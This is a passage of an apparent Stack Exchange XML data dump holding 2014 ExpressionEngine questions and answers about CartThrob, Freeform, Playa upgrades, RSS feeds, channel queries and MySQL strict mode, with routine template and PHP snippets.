   &#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- /.add-to-cart-btn --&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- /.addtocart-form --&amp;gt;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the control panel, in the price modifier field the product has suitable inventory levels though conditional acts as if it's &quot;0&quot; - happens on all products. I've tried updating the conditional using a different operator other than the lessthan operator - no success. It's been a while since I built this, but I believe this add to cart price modifier code is based on the template example that came with CT2.3.5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on some other posts I've read (if I'm understanding things correctly) maybe CT isn't getting the inventory amounts correctly because of a change in template parsing, but I'm not sure if I'm incorrect in that. Anyone else have any experience with this? If so, is this a bug? Or due to changes in parser, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Reuben&lt;/p&gt;&#xA;" OwnerUserId="3452" LastActivityDate="2016-06-18T20:53:47.380" Title="Upgraded to EE2.9, CartThrob Pro2.6 now add to cart tag with inventory conditional isn't working" Tags="|cartthrob|conditionals|upgrade|ee2-upgrades|2.9|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24939" PostTypeId="1" CreationDate="2014-08-06T12:05:10.643" Score="1" ViewCount="37" Body="&lt;p&gt;This works (all tags output):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;section_homepage&quot; disable={global:param_disable_all_with_cats}}&#xA;{{channel_short_name}_top_banner}&#xA;{channel_short_name}&#xA;{section_homepage_top_banner}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;section_homepage&quot; disable={global:param_disable_all_with_cats}}&#xA;{{channel_short_name}_top_banner}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This outputs &lt;code&gt;{{channel_short_name}_top_banner}&lt;/code&gt; as a string, rather than parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's as though I need to include BOTH:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{channel_short_name}&#xA;{section_homepage_top_banner}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BEFORE the dynamic tag parses....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{{channel_short_name}_top_banner}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using Structure 3.3.14.5 and EE 2.81.&lt;/p&gt;&#xA;" OwnerUserId="1161" LastEditorUserId="55" LastEditDate="2014-08-11T18:30:27.680" LastActivityDate="2014-08-11T18:30:27.680" Title="Dynamic custom field issues" Tags="|custom-fields|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24944" PostTypeId="1" CreationDate="2014-08-06T15:39:59.757" Score="0" ViewCount="109" Body="&lt;p&gt;I have a plugin that I am editing at the moment and I am looking to do a query that takes the site_id from a channel(not a channel entry) and then grabs the id and passes that through a function that then gets the site name from it. So far I have got this in my function which basically populates a sub menu in the main nav in the admin backend. The menu spits out the channel name and then lists that in chronological order. The issue here is that every multisite has the same name for each entry as its based on seasons for example: AW14, AW15,AW16, SS14, SS15 and so on. Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Set each channel name and its link&#xA;                foreach ($assigned_channels as $key =&amp;gt; $channel_id) {&#xA;&#xA;                    //Add the channel to the order sub_nav array&#xA;                    $channels['jf_re_order_channel_' . $channel_id] = BASE.AMP.'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module='.JF_RE_ORDER_PACKAGE.'&amp;amp;channel_to_order='.$channel_id;&#xA;&#xA;                    //Get the cannel name&#xA;                    $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get_where('exp_channels', array('channel_id' =&amp;gt; $channel_id), 1);&#xA;                    $row = $query-&amp;gt;row();               &#xA;                    $channel_name = $row-&amp;gt;channel_name;&#xA;                    $channel_parent_site = $row-&amp;gt;site_id;&#xA;                    var_dump($channel_parent_site);             &#xA;&#xA;                    //Add a nav_channel_id = channel name to the current lang object&#xA;                    $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;language['nav_jf_re_order_channel_' . $channel_id] = $channel_name;&#xA;&#xA;                } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can var_dump the id and I get the id for each site that channel is located in, what I need to do now is get the site name from that with the id. Is that possible with a query like below or inside this query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2015-02-04T16:11:38.283" Title="How can I retrieve the site name from a channel entry as a query?" Tags="|channel-entries|multi-site-manager|database|query|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24945" PostTypeId="1" AcceptedAnswerId="24966" CreationDate="2014-08-06T16:45:32.067" Score="0" ViewCount="395" Body="&lt;p&gt;first post here.&#xA;For what I understand, I need to add 'data-parsley-validate' to the form tag and 'required' and some other options for the fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using Composer but even if I can define the special parameters using template approach (where I manually code the fields) the  tag will require the Parsley parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something we can add to the FreeForm Pro form tag? Or what about adding parameters for the fields using the Composer option? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time&lt;/p&gt;&#xA;" OwnerUserId="3454" LastEditorUserId="3454" LastEditDate="2014-08-06T17:07:59.690" LastActivityDate="2014-08-07T09:08:50.193" Title="Validate a freeformpro with Parsley and define required fields" Tags="|solspace-freeform|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24946" PostTypeId="1" CreationDate="2014-08-06T17:15:50.500" Score="0" ViewCount="185" Body="&lt;p&gt;I upgraded a site from EE 1.7.3 to EE 2.9.1 - the last piece was upgrading Playa.  The site was working fine until that point. When I went to upgrade Playa, I received the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Number: 1060 Duplicate column name 'parent_element_id' ALTER&#xA;  TABLE exp_playa_relationships ADD parent_element_id VARCHAR(255) NULL&#xA;  AFTER parent_var_id Filename: third_party/playa/ft.playa.php Line&#xA;  Number: 488&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After checking for parent_var_id and parent_is_draft (both exist) I went to set the version number to 4.5 in exp_fieldtypes - however there is no playa field listed in that table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, now the site and control panel do not load and instead I'm getting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Site Error: Unable to Load Site Preferences; Invalid Preference Data&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help you can provide.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="55" LastEditDate="2014-08-11T18:29:35.483" LastActivityDate="2014-09-26T08:08:46.607" Title="Playa Upgrade 2.9 - playa not installed and now unable to load site preferences error" Tags="|playa|error|upgrade|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24947" PostTypeId="2" ParentId="24912" CreationDate="2014-08-06T17:22:54.383" Score="0" Body="&lt;p&gt;My only thought is that you may have freebie installed, which is a useful extension for structure. By default it makes success|error|preview in the segments &quot;EE will act as if these segments aren’t in the URI at all&quot;. Check to see if you have this installed, in which case use {freebie_3} to catch that segment (Freebie will work regardless of the channel used for structure). Or you could try changing &quot;success&quot; segment to something else like &quot;thankyou&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-08-06T17:22:54.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24948" PostTypeId="1" CreationDate="2014-08-06T17:31:40.573" Score="0" ViewCount="57" Body="&lt;p&gt;Does anyone know if Safe Harbor works with EE2.8+ or 2.9? I am contemplating purchasing this over Backup Pro by mithra62. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In actual fact I would like to know which is better as a ftp backup solution. I know that Backup Pro zips the files, does Safe Harbor compact the files too?&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2016-06-03T08:36:15.970" Title="Safe Harbor with EE2.8+" Tags="|eeharbor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24949" PostTypeId="1" CreationDate="2014-08-06T18:10:47.260" Score="2" ViewCount="66" Body="&lt;p&gt;I have an RSS feed that's taking a long time to process and would like to use the Template Debugger to help me isolate which parts of it are consuming time. The problem is, all the Template Debugger output is HTMLized inside of the RSS template, so it's not rendering correctly. And if I set the page type from RSS to Web Page, well, then the RSS doesn't process right and I have nothing to debug. Is there a way to get the template debugger to at least output non-HTML text? That way I could pull the file with CURL and examine it.&lt;/p&gt;&#xA;" OwnerUserId="2514" LastActivityDate="2016-06-10T17:00:18.860" Title="Using Template Debugger with RSS" Tags="|ee2|debugging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24950" PostTypeId="2" ParentId="24949" CreationDate="2014-08-06T18:43:39.157" Score="0" Body="&lt;p&gt;Try adding the debug parameter to the feed itself &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/rss/#empty-feeds-and-errors&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/rss/#empty-feeds-and-errors&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-08-06T18:43:39.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24951" PostTypeId="1" CreationDate="2014-08-06T20:47:43.150" Score="0" ViewCount="157" Body="&lt;p&gt;I have a channel that has 20 categories - each representing a client who can post there or have others post there for their attention. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of these 20 categories/clients one (only one) needs a personal RSS feed - is it possible to have a feed showing the one category only? Docs seem a bit unclear on this.&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-08-06T22:23:37.833" Title="RSS feed for specific category in channel" Tags="|rss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24952" PostTypeId="2" ParentId="24832" CreationDate="2014-08-06T21:00:53.717" Score="0" Body="&lt;p&gt;I figured it out. It was a problem with a server path on one of the upload directories.&lt;/p&gt;&#xA;" OwnerUserId="1530" LastActivityDate="2014-08-06T21:00:53.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24953" PostTypeId="1" CreationDate="2014-08-06T21:14:36.043" Score="1" ViewCount="132" Body="&lt;p&gt;I have a new CartThrob installation on EE 2.9, everything seems to be working just fine &#xA;apart from when I use &lt;code&gt;{exp:cartthrob:cart_items_info}&lt;/code&gt; in my cart template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without that tag the page loads in 1/2 seconds, but with the tag in place the page loads after about 20-30 seconds. This delay gets worse if there are more items in the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have taken a look in mod.cartthrob.php that holds the &lt;code&gt;cart_item_info&lt;/code&gt; function in order to try and pinpoint some way of improving the speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely these load times aren't to be expected? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the snippet from the Template Debugger which shows the time jump...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.271300 / 2.43MB) -&amp;gt; Class Called: Cartthrob&#xA;(0.276118 / 2.44MB) -&amp;gt; Method Called: cart_items_info&#xA;(11.682038 / 3.55MB) -&amp;gt; Data Returned&#xA;(11.682083 / 3.53MB) - End Tag Processing &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help anyone could give me would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have stripped out everything else in the template, leaving just the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info}&#xA;&#xA;{/exp:cartthrob:cart_items_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even with just this code the problem still persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debugging the call stack a little more the &lt;code&gt;cart_item_info()&lt;/code&gt; function in mod.cartthrob.php appears to run relatively quickly until line 3402: &lt;code&gt;$return_data = $this-&amp;gt;EE-&amp;gt;template_helper-&amp;gt;parse_variables($data);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where the delay seems to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to ensure nothing had gone wrong with the original installation and setup, I have just done another fresh install of both EE and CartThrob. The cart still loads just as slowly using the default sample templates provided by CartThrob. &lt;/p&gt;&#xA;" OwnerUserId="3180" LastEditorUserId="3180" LastEditDate="2014-08-07T10:07:29.177" LastActivityDate="2014-08-07T10:07:29.177" Title="CartThrob {exp:cartthrob:cart_items_info} extremely slow" Tags="|cartthrob|performance|shopping-cart|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24954" PostTypeId="1" AcceptedAnswerId="24972" CreationDate="2014-08-06T21:46:03.400" Score="1" ViewCount="60" Body="&lt;p&gt;First of all. Big thank you to &lt;a href=&quot;https://twitter.com/_rsan&quot; rel=&quot;nofollow&quot; title=&quot;Rob Sanchez&quot;&gt;Rob Sanchez&lt;/a&gt;. I'm using &lt;a href=&quot;https://github.com/rsanchez/parse_file_paths&quot; rel=&quot;nofollow&quot; title=&quot;Parse File Paths Plugin&quot;&gt;his plugin&lt;/a&gt; inside the  query module to get a zoo-visitor member-picture and add it to a public profile page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the query. field_id_37 contains something like {filedir_1}filename.jpg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query limit=&quot;1&quot; sql=&quot;&#xA;SELECT ct.author_id, ct.entry_id, ct.channel_id, cd.field_id_37&#xA;FROM exp_channel_titles ct&#xA;INNER JOIN exp_channel_data cd&#xA;USING(entry_id)&#xA;WHERE author_id = '{embed:lid}' AND ct.channel_id = '6' &#xA;&quot;}&#xA;&#xA;{exp:parse_file_paths}&#xA;{field_id_37}&#xA;{/exp:parse_file_paths}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine. The output is something like: &lt;a href=&quot;http://mysite.com/picture/filename.jpg&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/picture/filename.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do need this information to create a link to the full picture. I'd like to show the thumb as well. And that is what this question is about. How do i change the path from&#xA;&lt;a href=&quot;http://mysite.com/picture/filename.jpg&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/picture/filename.jpg&lt;/a&gt; to &lt;a href=&quot;http://mysite.com/picture/_thumb/filename.jpg&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/picture/_thumb/filename.jpg&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I didn't use the Query module, but simply the channel:entries tag the solution would be simple: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field_id_37:thumb}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i rewrite the default path?&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2014-08-07T16:56:26.287" Title="Using the query module to get an image path. How do I get to the thumb folder?" Tags="|zoo-visitor|query-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24955" PostTypeId="1" AcceptedAnswerId="24959" CreationDate="2014-08-06T21:55:35.437" Score="0" ViewCount="42" Body="&lt;p&gt;I'm running EE 2.5.2 and Cartthrob 2.0506 and need to setup an additional customer e-mail for just a few of our products. To make a long story short we have two different groups of products and the majority are in the first group and once a product is purchased the admin e-mail is sent to me and also to the vendor that fulfills these orders then the vendor actually sends an invoice to the customer. Initially the customer e-mail sent just informs them that the order was received and to expect an invoice from the vendor soon, that all works great. However the secondary group of products does not need to e-mail this vendor but rather just e-mail the invoice directly to the customer. Is there anyway to get Cartthrob setup with a product based condition for the e-mails sent? Maybe a multiple stores setting or something that would give me a fresh set of options under the e-mail button on the settings page. Any tips or suggestions would be greatly appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="3279" LastActivityDate="2016-04-05T10:19:40.157" Title="Can you have multiple e-mail configurations for Carthrob?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24956" PostTypeId="2" ParentId="24951" CreationDate="2014-08-06T22:23:37.833" Score="3" Body="&lt;p&gt;The entries on a feed are created by the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;Channel Module&lt;/a&gt;. You can create a template just for it or add the &lt;code&gt;category_id&lt;/code&gt; as a segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the feed is on &lt;code&gt;/xml/feed&lt;/code&gt;. The filtered feed can be available at &lt;code&gt;/xml/feed/25&lt;/code&gt;, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;&amp;lt;rss [...]&amp;gt;&#xA;&#xA;    &amp;lt;channel&amp;gt;&#xA;    [...]&#xA;    {exp:channel:entries [...] category=&quot;{segment_3}&quot;}&#xA;        [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're using version 2.9, you can even test to make sure the &lt;code&gt;{segment_3}&lt;/code&gt; is a number.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 ~ &quot;/^\d+$/&quot;}&#xA;    {preload_replace:pr-client_category=&quot;{segment_3}&quot;}&#xA;{/if}&#xA;{preload_replace:pr-client_category=&quot;&quot;}{!-- default empty value --}&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;&amp;lt;rss [...]&amp;gt;&#xA;&#xA;    &amp;lt;channel&amp;gt;&#xA;    [...]&#xA;    {exp:channel:entries [...] category=&quot;{pr-client_category}&quot;}&#xA;        [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's pretty easy!&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-08-06T22:23:37.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24957" PostTypeId="1" CreationDate="2014-08-06T22:27:16.373" Score="0" ViewCount="1092" Body="&lt;p&gt;I'm getting mysql errors suggesting that my host's use of strict mode is a problem (with an addon).  The host wants mysql strict mode on their DB server.  Can I override strict mode for my EE sessions?  And if so, how? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that codeigniter has a database config setting&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$db['default']['stricton'] = FALSE;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but I'm unfamiliar with how to use it.  Simply putting &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$db['Expressionengine']['stricton'] = FALSE;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;into system/expressionengine/config/database.php has no effect.  The mode still stays &quot;STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE codebase includes a conditional with 'stricton' = TRUE within system/codeigniter/system/database/DB.php&#xA;But its not clear how to invoke that either (or hack an analogous FALSE conditional)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas appreciated.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1494" LastEditorUserId="1494" LastEditDate="2014-08-08T19:19:37.487" LastActivityDate="2014-08-08T20:23:00.220" Title="MySQL strict mode: disable on a session basis?" Tags="|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24958" PostTypeId="2" ParentId="24937" CreationDate="2014-08-07T02:11:54.607" Score="0" Body="&lt;p&gt;I have found with the new conditionals parser you still at times need to experiment with using the {} and &quot;&quot; methods in conditionals.  Also you don't really need the nested if do you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like this might work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&lt;pre&gt;&#xA;                           {if {inventory} &amp;lt; 1} &#xA;                                - Out of Stock! &#xA;                            {if:elseif {option_price_numeric} != &quot;0&quot;} &#xA;                                +{option_price}&#xA;                            {/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &#xA;                          {if {inventory} &amp;lt; 1} &#xA;                                - Out of Stock! &#xA;                            {if:elseif &quot;{option_price_numeric}&quot; != &quot;0&quot;} &#xA;                                +{option_price}&#xA;                            {/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;&#xA;" OwnerUserId="1532" LastEditorUserId="1532" LastEditDate="2014-08-07T06:27:56.920" LastActivityDate="2014-08-07T06:27:56.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24959" PostTypeId="2" ParentId="24955" CreationDate="2014-08-07T02:14:30.930" Score="2" Body="&lt;p&gt;You can achieve this sort of thing via Postmaster and Stash.  I have found trying to do any complex stuff in CT direct emails is very hard/impossible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/23945/how-is-a-postmaster-cart-throb-on-authorize-hook-mail-formed/23995#23995&quot;&gt;How is a postmaster Cart Throb on authorize hook mail formed?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-08-07T02:14:30.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24960" PostTypeId="2" ParentId="24928" CreationDate="2014-08-07T04:51:54.457" Score="0" Body="&lt;p&gt;If your users are filling in the form while logged in, you could look for Freeform entries authored by the currently logged in user and display the form only when no previous entries were found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries form_id=&quot;1&quot; author_id=&quot;1&quot;}&#xA;    {if freeform:no_results}&#xA;        {exp:freeform:form /* your other parameters */}&#xA;            // Your form...&#xA;        {/exp:freeform:form}&#xA;    {/if}&#xA;&#xA;    {if freeform:count == 1}&#xA;        &amp;lt;p&amp;gt;You already submitted the form.&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Note&lt;/strong&gt;: You will need to adjust form_id and author_id values based on your setup. IDs of &quot;1&quot; above are just an example)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, for logged out users, the above won't work since there is no id for logged out users. In the case of logged out users, although a user could submit an email address in a Freeform field. The next time the form is filled out with the same email address, there is no way to stop the user from entering the same email address again. The validation would have to occur &lt;em&gt;after&lt;/em&gt; submitting the form a second time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could build an extension using some of the available hooks for Freeform: &lt;a href=&quot;http://www.solspace.com/docs/freeform/extension_hooks/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/extension_hooks/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, although you can't prevent entering the same email address in a field, you could give the &lt;strong&gt;&lt;em&gt;impression&lt;/em&gt;&lt;/strong&gt; that submitting the same email address again is not possible. Here's an example of what could be done. Assuming your have a Freeform field called &lt;code&gt;email&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In {exp:freeform:form}, use &lt;code&gt;return=&quot;template_group/template/%%entry_id%%&quot;&lt;/code&gt; (provide your own template_group and template name, eg. &lt;code&gt;form/thank_you&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;In your template_group/template template, retrieve the submitted form data using &lt;code&gt;{exp:freeform:entries entry_id=&quot;{segment_3}&quot;}&lt;/code&gt; (segment_3 will be the latest Freeform entry_id). &lt;/li&gt;&#xA;&lt;li&gt;Pass the retrieved email in an embed which will check for pre-existing entries with the same email address:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;template_group/template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form entry_id=&quot;{segment_3}&quot;}  &#xA;     {embed=&quot;check/email&quot; email_field=&quot;{freeform:field:email}&quot;}  &#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries search:email=&quot;{embed:email_field}&quot;}&#xA;    {if freeform:no_results}Thank you for submitting{/if}&#xA;    {if count == 1}You already submitted the form with this email address{/if}&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, within Freeform you will still see 2+ submissions with the same email (and even be notified more than once if you have email notifications set up), but the front-end user will see the &quot;&lt;em&gt;You already submitted the form with this email address&lt;/em&gt;&quot; message the second time the form is submitted with the same email address. This is the &lt;strong&gt;&lt;em&gt;illusion&lt;/em&gt;&lt;/strong&gt; of a duplicate I mentioned earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, the better option would be creating an extension using the hooks.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: There is an additional solution, using &lt;code&gt;prevent_duplicate_on=&quot;&quot;&lt;/code&gt;. See: &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#prevent_duplicate_on&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#prevent_duplicate_on&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will allow you to detect duplicates based on email address (used with an &lt;code&gt;email&lt;/code&gt; field). Perhaps the best approach.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2014-08-07T04:57:36.063" LastActivityDate="2014-08-07T04:57:36.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24961" PostTypeId="2" ParentId="24929" CreationDate="2014-08-07T05:14:37.293" Score="0" Body="&lt;p&gt;The answer is similar to that given here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/24928/solspace-freeform-4-submission-per-email-address/24960#24960&quot;&gt;Solspace Freeform 4+ submission per email address&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create an add-on that uses Freeform hooks to check for Freeform entries matching the token upon form submission&lt;/li&gt;&#xA;&lt;li&gt;Give the illusion of a duplicate submission. It doesn't prevent submitting or saving the form again with the same token, but the front-end user would see a message upon duplication.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Additional solutions&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you're comfortable with AJAX and javascript/jQuery&lt;/strong&gt;, you could have a field which, upon typing the token in it, calls a template in the background which contains &lt;code&gt;{exp:freeform:entries}&lt;/code&gt;. This tag would check if any previous Freeform entries contain the same token (using the &lt;code&gt;search:MY_FIELD=&quot;&quot;&lt;/code&gt; parameter). If an entry is found, prevent the user from submitting the form through javascript (eg. blocking submission).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you're not comfortable with AJAX or javascript/jQuery&lt;/strong&gt;, you could do something similar, but with a simple HTML form which asks for the token code &lt;strong&gt;before&lt;/strong&gt; the main Freeform form. Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;{path='template_group/template'}&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;token&quot;&amp;gt;Your token code:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input id=&quot;token&quot; name=&quot;token&quot; placeholder=&quot;Eg. 123ABC&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, after submitting the form and moving to template_group/template, using a plugin such as &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow 